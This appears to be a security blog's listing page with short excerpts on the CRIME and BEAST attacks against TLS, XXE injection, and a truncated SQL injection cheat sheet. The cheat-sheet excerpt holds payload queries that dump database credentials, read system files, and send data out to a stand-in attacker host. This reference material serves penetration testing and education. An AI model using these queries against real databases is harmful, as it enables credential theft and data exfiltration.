CRIME against TLS?

Compression Ratio Info-leak Made Easy CRIME is an attack against SSL, like Heartbleed, but it has a much smaller probability of exploitation. The authors of CRIME also wrote the BEAST attack. The attack can allow an attacker to recover web cookies and thereby perform session hijacking attacks, much like BEAST and the specific restrictions for the attack are similar.

Read More

What is BEAST?

Browser Exploit Against SSL/TLS BEAST is an attack against SSL/TLS which is the cryptographic system that protects data sent online. A practical attack was found to be possible against TLS v1.0 and SSLv3.0 (and below). The issue is that the Initialisation Vector (IV) utilised as part of the encryption process can be determined by an attacker. IVs are utilised to prevent encrypted data from being deterministic, they essentially make it harder for attackers to determine patterns in encrypted data. Without them if a repeating pattern is evident in the plaintext then it will be evident in the ciphertext and this …

Read More

XXE: XML External Entity Injection

Here’s a quick write-up on XXE, starting with how to detect the vulnerability and moving on to how to fix it! XXE is a vulnerability in the way that XML parses handle user input and if an attacker is able to enter arbitrary or crafted data into an XML parser they may be able to inject entities and this could leave to file disclosure, denial-of-service attacks or in rare cases – code execution!

Read More

SQL Injection Cheat Sheet: MSSQL

MSSQLMySQL Comments # /* — – ;%00 Version SELECT VERSION(); SELECT @@VERSION; SELECT @@GLOBAL.VERSION; User details user() current_user() system_user() session_user() SELECT user,password FROM mysql.user; Database details SELECT db_name(); SELECT database(); SELECT schema_name FROM information_schema.schemata; Database credentials SELECT host, user, password FROM mysql.user; Server details SELECT @@hostname; Table Name SELECT table_name FROM information_schema.tables; Columns Names SELECT column_name FROM information_schema.columns WHERE table_name = ‘tablename’; No Quotes CONCAT(CHAR(97), CHAR(98), CHAR(99)) String Concatenation CONCAT(foo, bar) Conditionals SELECT IF(1=1,’true’,’false’); Time-delay Sleep(10) Command Execution http://dev.mysql.com/doc/refman/5.1/en/adding-udf.html “RunAs” N/A Read Files SELECT LOAD_FILE(‘C:Windowswin.ini’); Out-of-Band Retrieval SELECT LOAD_FILE(concat(‘\\’,(SELECT 1), ‘attacker.controlledserver.com\’))); Substrings SELECT substr(‘Foobr’, 1, 1); Retrieve Nth Line SELECT …

Read More